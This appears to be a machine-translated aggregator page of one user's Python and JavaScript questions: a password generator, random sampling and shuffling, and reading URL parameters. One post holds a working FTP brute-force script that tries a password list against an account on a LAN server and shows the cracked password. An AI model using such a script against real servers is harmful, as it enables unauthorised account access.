小编Gil*_*ald的帖子

random.sample python中的"大于人口的样本"

为我自己创建一个简单的传递生成器,我注意到如果我希望我的人口只有数字(0-9),这是10个选项,如果我想我的长度超过10,它不会使用任何数字,然后一次和返回"样本更大然后填充"错误.

是否可以维护代码,但添加/减少代码行以使其有效?或者我是否有使用随机选择?

import string
import random

z=int(raw_input("for: \n numbers only choose 1, \n letters only choose 2, \n letters and numbers choose 3, \n for everything choose 4:"))

if z==1:
    x=string.digits
elif z==2:
    x=string.letters
elif z==3:
    x=string.letters+string.digits
elif z==4:
    x=string.letters+string.digits+string.punctuation
else:
    print "die in a fire"

y=int(raw_input("How many passwords would you like?:"))
v=int(raw_input("How long would you like the password to be?:"))

for i in range(y):
    string=""
    for n in random.sample(x,v):
        string+=n
    print string
Run Code Online (Sandbox Code Playgroud)

TY

python string random

10
推荐指数
2
解决办法
3万
查看次数

使用Python连接从FTP检索文件

我构建了这个简单的工具来暴力破解并连接到ftp服务器

import socket
import ftplib
from ftplib import FTP

port=21
ip="192.168.1.108"
file1="passwords"

try:
    s=socket.socket()
    s.connect((ip,port))
    print "port",port,"is open"
    moshe=open(file1,'r')
    for line in moshe.readlines():
        password=line.strip("\n")
        print password
        try:
            ftp = ftplib.FTP(ip)
            ftp.login("NINJA",password)
            print ("THE PASSWORD IS:",password)
            break
        except ftplib.error_perm:
            print "Incorrect"
    moshe.close()
except:
    print "port",port,"is closed"


ftp = FTP(ip)
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()
Run Code Online (Sandbox Code Playgroud)

目前该工具正常工作(我在文件列表中设置了正确的密码第3位) - 当我登录时,我得到了这个输出:

port 21 is open
123
('THE PASSWORD IS:', '123')
File List:
drwxr-xr-x    2 0        0            4096 Jan 17 19:15 Folder
drwxr-xr-x    2 …
Run Code Online (Sandbox Code Playgroud)

python ftp python-2.7

4
推荐指数
1
解决办法
3万
查看次数

使用location.search定位参数的值

我正在开发一个工具,它接受URL中的值参数并使用它们做一些事情.

我的问题是,我似乎无法使用document.location来显示我所追求的具体值,例如:

www.examplesite.com?yourname=gilgilad

我想使用document.location.search并将其放在var中,我需要var的值为"gilgilad".

甚至可以使用location.search吗?

javascript location

4
推荐指数
2
解决办法
9658
查看次数

如何在使用随机,随机播放时只获取列表中的一些字符串?在python中

从列表中创建字典时,我使用

for i in range(10):
    random.shuffle(list)
    print "".join(list)
Run Code Online (Sandbox Code Playgroud)

这样我就得到了10个不同的列表随机组合,但是如果列表有10个字符串,那么每个随机我会得到10个字符串,如下所示:

>>> list
['1', 'n', 'f', 'g', 'z', 'j', '5', 's', '2', '3']
>>> for i in range(5):
...    random.shuffle(list)
...    print "".join(list)
... 
13jgzs25nf
15zngs2jf3
jgfsn3z251
g3sf512zjn
5nsj3fg21z
Run Code Online (Sandbox Code Playgroud)

但是,我只想要从列表中的10个字符串中只编写5个随机组合,我该怎么做呢?

TY!

==========================

@volatility
in an attempt to use what you showed me but try to get a full list like i did in my question i did this:

>>> lst=["1","2","3","f","s","g","5","n","z","j"]
>>> for i in range(10):
...     random.sample(list, 3)
...     print "".join(list)
... …
Run Code Online (Sandbox Code Playgroud)

python random dictionary shuffle

0
推荐指数
1
解决办法
46
查看次数

标签 统计

python ×3

random ×2

dictionary ×1

ftp ×1

javascript ×1

location ×1

python-2.7 ×1

shuffle ×1

string ×1